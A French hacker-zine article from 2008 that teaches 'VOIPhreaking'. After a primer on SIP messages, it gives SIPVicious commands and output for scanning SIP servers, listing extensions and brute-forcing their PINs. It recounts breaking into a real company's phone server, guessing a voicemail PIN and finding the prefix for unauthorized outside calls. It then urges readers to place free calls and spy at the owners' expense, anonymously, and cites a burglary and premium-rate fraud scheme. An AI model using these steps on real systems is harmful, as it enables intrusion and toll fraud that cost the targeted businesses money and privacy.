--------------------------------------------------------------------------------
|VOIPhreaking : 4 phun and prophit - duality - duality.vagabond[at]gmail[dot]com |
--------------------------------------------------------------------------------
---------------------------------------------------------------------------------
-%!% VOIPHreaking %!%-
((( "voipvoip!"
(. .)
(( v ))
---m-m---
Auteur : duality -- 21/06/08
Zine : Rafale #10
Table des matieres:
~~~~~~~~~~~~~~~~~~~
1.0 : Introduction
2.0 : Bases de la VOIP
2.1 - Generalités.
2.2 - Les protocoles utilisés.
3.0 : Détournement
3.1 - Scanning & extensions cracking.
3.2 - Exemple de VOIPhreaking.
3.3 - Et alors ?
4.0 : Outro & greets
-%!% scientia potentia est %!%-
---------------------------------------------------------------------------------
1.0 : Introduction
------------------
Les temps changent, le PBX tant convoité par le phreaker laisse place au IPBX.
Place à la nouvelle génération bien plus informatisée, mais aussi bien plus
documentée.
La VOIP, ou Voice Over IP, c’est décidément le futur du phreaking, en France ou
même ailleurs :). Le fait est que en France on est un peu à la masse, du moins
je ne vois pas qu’ici bas ce domaine intéresse du monde. Et pourtant c’est
intéressant, simple, et phun. C’est peut être le moyen de réconforter les
non-phreakers avec le phreaking :). Dans ce paper je vais vous détailler un peu
les bases du VOIPhreaking histoire que vous fassiez vos premières armes dans ce
domaine. Rien ne transcedant mais c'est déjà un premier pas dans le domaine.
Ainsi vous aurez surement à la fin de ce paper une idée quant aux possibilités
que ce domaine offre.
Maitriser les technologies de nos jours est avantage indéniable à la survie.
2.0 : Bases de la VOIP
----------------------
2.1 - Generalités.
------------------
Si vous n’avez pas squatté des cavernes ces derniers temps vous avez surement
aperçus une technologie en pleine expansion : la VOIP ou Voice Over Internet
Protocol. Grace à
cette technologie la voix est à présent véhiculée sur le réseau internet sous
formes de paquets, et non plus sur un circuit commuté comme c’est le cas dans
notre bonne vieille téléphonie classique. Basiquement le signal audio qui est
capté grâce à un microphone va être converti en signal numérique (généralement
par une carte CAN intégrée). Pour que la transmission soit plus rapide le
signal sera compressé par un codec. Puis le tout est envoyer à l’interlocuteur
(ex: mémé) qui fera donc l’opération inverse pour entendre votre signal audio :
décompression et reconstitution du signal analogique,possible grâce à un CNA
(Convertisseur numérique analogique).
2.2 - Les protocoles utilisés.
------------------------------
Les premières technologies de VoIP imaginées étaient des solutions
propriétaires et donc très différentes les unes des autres. Pourtant un système
qui est censé mettre des gens et des systèmes en relation exige une certaine
’standardisation’. Et c’est pourquoi sont apparus par le suite des protocoles
standards, comme le H323 ou le SIP.
- H323 :
Ce protocole existe depuis 96, il est utilisé par quelques équipement CISCO et
le logiciel Netmeeting de Micro$oft. Ce protocole va permettre de faire
transiter voix et vidéos sur le réseau :). Voilà de la doc :
http://fr.wikipedia.org/wiki/H.323
Suivez les liens donnés en fin de page.
- IAX :
Le protocole IAX (pour Inter-Asterisk eXchange protocol) a été crée pour le
contrôle et la transmission de donnée voip entre des serveurs de type Asterisk
(Asterisk est un PABX open source). Mais de nos jours il est aussi utilisé
entre des clients/serveurs qui supporte ce protocole (et qui ne sont donc pas
forcement des serveurs Asterisk).
http://www.voip-info.org/wiki-IAX
- SIP :
Le protocole SIP (Session Initiation Protocole) est un proto de
télécommunication permettant de faire transiter du son de l’image etc sur le
réseau. C’est LE protocole le plus utilisé en ce qui concerne la VOIP, donc on
va s’attarder un peu dessus.
Si on sniff une communication SIP on peut constater que ce protocole a des
similitudes avec le proto HTTP.
INVITE : permet de demander une nouvelle session de communication.
ACK : Permet de confirmer l’établissement de celle-ci.
CANCEL : Pour refuser l’INVITE.
BYE : Bah... pour terminer la communication :}
Les codes réponses sont comme pour le HTTP :
404 : Not Found
100 : Trying
200 : OK
Puis d’autres codes spécifiques à SIP :
180 : Ringing
486 : Busy
http://www.voip-info.org/wiki/view/SIP+response+codes
Donc lors d’une communication chacun des individus va jouer au niveau des
requêtes à la fois le rôle d’un serveur mais aussi d’un client. Voilà un
exemple de communication :
Ici Trolleur invite DBancal à communiquer :
INVITE
sip:DBancal@z4t4z.com
SIP/2.0
Via: SIP/2.0/UDP 10.20.30.40:5060
From: Trolleur ;tag=314159
To: DBancal
Call-ID: 6969696969@desbois.com
CSeq: Numéro de séquence du message INVITE
Contact:
Content-Type: application/sdp
Content-Length: lataille
v=0
o=Trolleur 2890844526 2890844526 IN IP4 10.20.30.40
s=Session SDP
c=IN IP4 10.20.30.40
t=3034423619 0
m=audio 49170 RTP/AVP 0
a=rtpmap:0 PCMU/8000
A la fin de la requête se trouver les codecs supportés par l’utilisateur
Trolleur.
DBancal confirme à présent avoir reçu l’invitation :
SIP/2.0
100 Trying
From: DBancal ;tag=589304
To: Trolleur
Call-ID: 1111111111@zataz.com
CSeq: Numéro de séquence du message INVITE
Content-Length: 0
Le phone sonne, donc DBancal envoie tant que celui ci n’a pas décroché :
SIP/2.0
180 Ringing
From: DBancal ;tag=589304
To: Trolleur ;tag=314159
Call-ID: 1111111111@zataz.com
CSeq: Numéro de séquence du message INVITE
Content Length: 0
...Ça sonne...Ah ça y est DBancal décroche.
DBancal envoie donc “OK”...
SIP/2.0
200 OK
From: DBancal ;tag=589304
To: Trolleur ;tag=314159
Call-ID: 1111111111@zataz.com
CSeq: Numéro de séquence du message INVITE
Contact:
Content-Type: application/sdp
Content-Length: taille
v=0
o=DBancal 2890844527 2890844527 IN IP4 10.20.30.41
s=Session SDP
c=IN IP4 10.20.30.41
t=3034423619 0
m=audio 3456 RTP/AVP 0
a=rtpmap:0 PCMU/8000
A la fin du paquet se trouve les codecs supportés par les deux utilisateurs.
Par la suite Trolleur confirme le tout :
ACK
sip:DBancal@z4t4z.com SIP/2.0
Via: SIP/2.0/UDP 10.20.30.41:5060
Route:
From: Trolleur ;tag=314159
To: DBancal ;tag=589304
Call-ID: 6969696969@desbois.com
CSeq: Numéro de séquence du message ACK
Content-Length: 0
Voilà à présent la communication est bien établie, Trolleur insulte DBancal.
Puis Trolleur raccroche :
BYE
sip:DBancal@z4t4z.com SIP/2.0
Via: SIP/2.0/UDP 10.20.30.41:5060
To: DBancal ;tag=589304
From: Trolleur ;tag=314159
Call-ID: 6969696969@desbois.com
CSeq: Numéro de séquence du message BYE
Content-Length: 0
Chose que DBancal confirme par un “OK” :
SIP/2.0
200 OK
To: Trolleur ;tag=314159
From: DBancal ;tag=589304
Call-ID: 1111111111@zataz.com
CSeq: Numéro de séquence du message BYE
Content-Length: 0
Ainsi se passe une communication classique. On ne l’a pas vu lors de cet
exemple mais il existe d’autres codes messages tels que :
CANCEL : qui permet d’annuler un appel qui n’a pas été OK’ed.
REGISTER :
La méthode REGISTER du protocole SIP est utilisée pour l’enregistrement des
équipements mobiles, principalement ceux obtenant leur adresse IP via un proto
dynamique comme DHCP.
En règle générale on l’utilise pour les téléphones. Le REGISTER ne sera pas
utiliser lorsque l’on route les sessions SIP vers des destinations connues
(adresse IP et port UDP ou TCP).
Un peu plus de détails sur les champs utilisés aussi :
-------------------------------------------------------------------------------
From : désigne celui qui envoie la requête SIP.
To : le destinataire.
Contact : la vrai adresse de l’utilisateur en question.
Call-ID : Un numéro qui identifiera l’appel histoire de se repérer et de ne pas
raccrocher n’importe quel appel..
CSeq : Numéro de séquence du message. Incrémenté pour chaque nouvelle requête
dans un dialogue.
Content-Type : le type MIME du payload.
Content-Length : taille du payload (payload étant ce qui se trouve a la fin du
paquet)
-------------------------------------------------------------------------------
3.0 : Détournement
------------------
Comme toute technologie la VOIP peut être detournée à notre avantage. Voyons ce
qui est donc possible...
3.1 - Scanning & extensions cracking
------------------------------------
Le scan de serveurs SIP peut se faire avec des outils classiques tels que
netcat ou nmap. Il suffit alors de scanner une rangée d’IP et de tester par
exemple le port 5060. Mais des outils tels que SIPVicious sont plus
intéressants. En effet SIPVicious est un toolkit (ensemble d’outils) destiné au
hacking de serveurs SIP.
http://sipvicious.org/
svmap.py : va permettre de scanner des adresses IP à la recherche de serveurs.
svwar.py : va permettre de lister les comptes utilisateurs présent (extensions).
svcrack.py : de cracker le pass des ces extensions.
---------------8<--cutcut------------------------------------------------------
Usage: svmap.py [options] host1 host2 hostrange
examples:
svmap.py 10.0.0.1-10.0.0.255 \
> 172.16.131.1 sipvicious.org/22 10.0.1.1/24 \
> 1.1.1.1-20 1.1.2-20.* 4.1.*.*
svmap.py -s session1 –randomize 10.0.0.1/8
svmap.py –resume session1 -v
svmap.py -p5060-5062 10.0.0.3-20 -m INVITE
Options:
–version show program’s version number and exit
-h, –help show this help message and exit
-v, –verbose Increase verbosity
-q, –quiet Quiet mode
-s NAME, –save=NAME save the session. Has the benefit of allowing you to
resume a previous scan and allows you to export scans
–resume=NAME resume a previous scan
–randomscan Scan random IP addresses
-i scan1, –input=scan1
Scan IPs which were found in a previous scan. Pass the
session name as the argument
-p PORT, –port=PORT Destination port or port ranges of the SIP device - eg
-p5060,5061,8000-8100
-P PORT, –localport=PORT
Source port for our packets
-x IP, –externalip=IP
IP Address to use as the external ip. Specify this if
you have multiple interfaces or if you are behind NAT
-b BINDINGIP, –bindingip=BINDINGIP
By default we bind to all interfaces. This option
overrides that and binds to the specified ip address
-t SELECTTIME, –timeout=SELECTTIME
Timeout for the select() function. Change this if
you’re losing packets
-c, –enablecompact enable compact mode. Makes packets smaller but
possibly less compatable
-m METHOD, –method=METHOD
Specify the request method - by default this is
OPTIONS.
-R, –reportback Send the author an exception traceback. Currently
sends the command line parameters and the traceback
–randomize Randomize scanning instead of scanning consecutive ip
addresses
---------------8<--cutcut------------------------------------------------------
Le résultat d’un scan se présentera sous cette forme :
| SIP Device | User Agent | Fingerprint |
-----------------------------------------
| 91.121.114.28:5060 | Asterisk PBX | Asterisk / Linksys/PAP2T-3.1.15(LS) |
(...)
Par la suite prenons une IP dans ce résultat de scan :
svwar.py ip.ip.ip.ip
| Extension | Authentication |
------------------------------
| 400 | reqauth |
| 510 | reqauth |
| 100 | reqauth |
| 106 | reqauth |
| 530 | reqauth |
| 104 | reqauth |
| 105 | reqauth |
On constate que toutes les extensions ici neccessitent une authentification. Il
se peut que parfois certain extensions ne requièrent pas de mdp. Ok, donc
tentons un petit bruteforce sur le user 400 :
svcrack.py ip.ip.ip.ip -u 400
WARNING:root:found nothing
Dommage, svcrack n’a rien trouvé.
Mais si on test sur une autres extension :
svcrack.py ip.ip.ip.ip -u 105
| Extension | Password |
------------------------
| 105 | 105 |
Magie :}
A noter que svcrack va seulement faire un bf du type 000->999
3.2 - Exemple de VOIPhreaking.
------------------------------
Prenons par exemple ce serveur SIP , 1.2.3.4. Qui appartient à une certaines
société FR (ip censurée bien sûr, au cas où...).
svwar.py 1.2.3.4
| Extension | Authentication |
------------------------------
| 200 | reqauth |
| 900 | reqauth |
| 300 | reqauth |
| 310 | reqauth |
| 520 | reqauth |
| 500 | reqauth |
| 400 | reqauth |
| 510 | reqauth |
| 100 | reqauth |
| 106 | reqauth |
| 530 | reqauth |
| 104 | reqauth |
| 105 | reqauth |
svcrack.py 1.2.3.4 -u 200
WARNING:root:found nothing
svcrack.py 1.2.3.4 -u 900
| Extension | Password |
————————————————————————
| 900 | 900 |
On vient donc de récuperer un couple login:passwd pour se connecter au serveur
SIP. On peut alors utiliser un softphone tel que X-Lite pour s’y connecter :
http://www.counterpath.com/13
J’ai verifié par whois/tracert que le serveur se trouver bien en France. Cette
verification est utile car si le serveur se trouve ailleurs et que l’on désire
faire un outdial il nous faudra le country code, voici une liste utile :
Afghanistan +93
Albania +355
Algeria +213
American Samoa +1-684, +684
Andorra +376
Angola +244
Anguilla +1-264
Antigua and Barbuda +1-268
Argentina +54
Armenia +374
Aruba +297
Ascension Island +247
Australia +61
Australian External Territories +672
Austria +43
Azerbaijan +994
Bahamas +1-242
Bahrain +973
Bangladesh +880
Barbados +1-246
Belarus +375
Belgium +32
Belize +501
Benin +229
Bermuda +1-441
Bhutan +975
Bolivia +591
Bosnia and Herzegovina +387
Botswana +267
Brazil +55
British Virgin Islands +1-284
Brunei Darussalam +673
Bulgaria +359
Burkina Faso +226
Burundi +257
Cambodia +855
Cameroon +237
Cape Verde +238
Cayman Islands +1-345
Central African Republic +236
Chad +235
Chile +56
China +86
Colombia +57
Comoros +269
Congo +242
Cook Islands +682
Costa Rica +506
Cote d’Ivoire +225
Croatia +385
Cuba +53
Cyprus +357
Czech Republic +420
Democratic People’s Republic of Korea +850
Democratic Republic of the Congo +243
Denmark +45
Diego Garcia +246
Djibouti +253
Dominica +1-767
Dominican Republic +1-809, +1-829
East Timor +670
Ecuador +593
Egypt +20
El Salvador +503
Equatorial Guinea +240
Eritrea +291
Estonia +372
Ethiopia +251
Falkland Islands +500
Faroe Islands +298
Federated States of Micronesia +691
Fiji +679
Finland +358
France +33
French Guiana +594
French Polynesia +689
Gabon +241
Gambia +220
Georgia +995
Germany +49
Ghana +233
Gibraltar +350
Greece +30
Greenland +299
Grenada +1-473
Guadeloupe +590
Guam +1-671
Guatemala +502
Guinea +224
Guinea-Bissau +245
Guyana +592
Haiti +509
Honduras +504
Hong Kong +852
Hungary +36
Iceland +354
India +91
Indonesia +62
Iran +98
Iraq +964
Ireland +353
Israel +972
Italy +39
Jamaica +1-876
Japan +81
Jordan +962
Kazakhstan +7
Kenya +254
Kiribati +686
Kuwait +965
Kyrgyzstan +996
Laos +856
Latvia +371
Lebanon +961
Lesotho +266
Liberia +231
Libya +218
Liechtenstein +423
Lithuania +370
Luxembourg +352
Macau +853
Macedonia +389
Madagascar +261
Malawi +265
Malaysia +60
Maldives +960
Mali +223
Malta +356
Marshall Islands +692
Martinique +596
Mauritania +222
Mauritius +230
Mayotte +269
Mexico +52
Moldova +373
Monaco +377
Mongolia +976
Montserrat +1-664
Morocco +212
Mozambique +258
Myanmar +95
Namibia +264
Nauru +674
Nepal +977
Netherlands +31
Netherlands Antilles +599
New Caledonia +687
New Zealand +64
Nicaragua +505
Niger +227
Nigeria +234
Niue +683
Northern Mariana Islands +1-670
Norway +47
Oman +968
Pakistan +92
Palau +680
Panama +507
Papua New Guinea +675
Paraguay +595
Peru +51
Philippines +63
Poland +48
Portugal +351
Puerto Rico +1-787, +1-939
Qatar +974
Republic of Korea +82
Reunion +262
Romania +40
Russia +7
Rwanda +250
Samoa +685
San Marino +378
Sao Tome and Principe +239
Saudi Arabia +966
Senegal +221
Seychelles +248
Sierra Leone +232
Singapore +65
Slovakia +421
Slovenia +386
Solomon Islands +677
Somalia +252
South Africa +27
Spain +34
Sri Lanka +94
St. Helena +290
St. Kitts and Nevis +1-869
St. Lucia +1-758
St. Pierre and Miquelon +508
St. Vincent and the Grenadines +1-784
Sudan +249
Suriname +597
Swaziland +268
Sweden +46
Switzerland +41
Syria +963
Taiwan +886
Tajikistan +992
Tanzania +255
Thailand +66
Togo +228
Tokelau +690
Tonga +676
Trinidad and Tobago +1-868
Tunisia +216
Turkey +90
Turkmenistan +993
Turks and Caicos Islands +1-649
Tuvalu +688
US Virgin Islands +1-340
Uganda +256
Ukraine +380
United Arab Emirates +971
United Kingdom +44
Uruguay +598
Uzbekistan +998
Vanuatu +678
Vatican +379
Venezuela +58
Vietnam +84
Wallis and Futuna Islands +681
Yemen +967
Yugoslavia +381
Zambia +260
Zimbabwe +263
Ok donc notre cas on aura pas besoin du code pays. On va juste tenter de faire
un outdial (appel vers l’exterieur) à partir du serveur en question. D’ailleurs
sur ce serveur j’ai vu qu’on peut accéder à des boxs internes de la société,
par exemple en appellant 0000 puis on nous demande le mot de passe j’ai testé
0000 puis 1234 et le mdp est apparemment 1234. Mais quand j’ai tenté cela,
apres la confirmation que le code était bon j’ai eu un : “toutes les lignes
sont occupés”. Et apparement elles le sont même la nuit, donc ca doit venir
d'une mauvaise config.
Après de nombreux tests sur ce serveur j’ai trouvé comment passer un outdial,
il suffit de faire : 00+le numéro sans le zéro du début, par exemple si vous
désirez appeler : 0178766600->00+178766600 et le tour est joué. Sans doute une
histoire d’exit code... En tout cas : IPBX vaincue :}
Pour appeller en france depuis l’étranger il y a differentes combinaisons..
Par exemple si vous etes aux US, il faut composer au début 011 (US exit code),
suivie du code pays (voir ci dessus), et du numero à appeller.
Encore une petite liste à imprimer (liste des exit codes) :
http://www.howtocallabroad.com/codes.html
3.3 - Et alors ?
----------------
Qu’est ce qu’on peut faire donc? Hey, telephoner gratuitement etc.. Vous
connecter à un AP wifi non/mal protegé, scanner, telephoner gratuitement,
espionner, etc... aux frais de ceux qui dirigent l’IPBX squatté...
D’ailleurs dans le Rafale #9 le défunt Taskforce parlait de se faire du $$$ en
cambriolant une baraque et en la beige-boxant passer des appels ALLOPASS pour
récuperer les codes, puis donc par la suite la money. Mais s’introduire dans
une maison ou dans une proprieté n’est pas forcement facile comparer au
wardriving qui est de nos jours très facile. Cependant certains administrateurs
d'IPBX posent un contrôle par mot de passe si le numéro appellé est en 08,
mais là aussi les pass choisis ne sont que très peu fiables, en ce qui concerne
le serveur que j'avais ciblé ici dans cet article, le pass était 1234 :).
Pour d'autres passwd qui reviennent souvent je vous renvoie au :
"E-LaTex Magic Trick no.4 : Charte, code de porte" écrit par Taskforce, et qui
a été publié dans le Rafale #8. Les codes presentés dans cet article sont aussi
ceux que l'on pourra retrouver au détour d'un IPBX.
Et comme on dit, la seul limite est celle de votre imagination :}
Have phun.
4.0 : Outro
-----------
Voilà cet article touche à sa fin. Les bases sont posées. A vous d’aller plus
loin. N’hésitez pas à explorer les IPBX de fond en comble, à les utiliser en
toute liberté mais sous anonymat ...[wifi?] Il y a tant de choses encore à
voir...
Greets to : Dg-Sc, Rafale, w0rm, et ceux qui me reconnaitront :)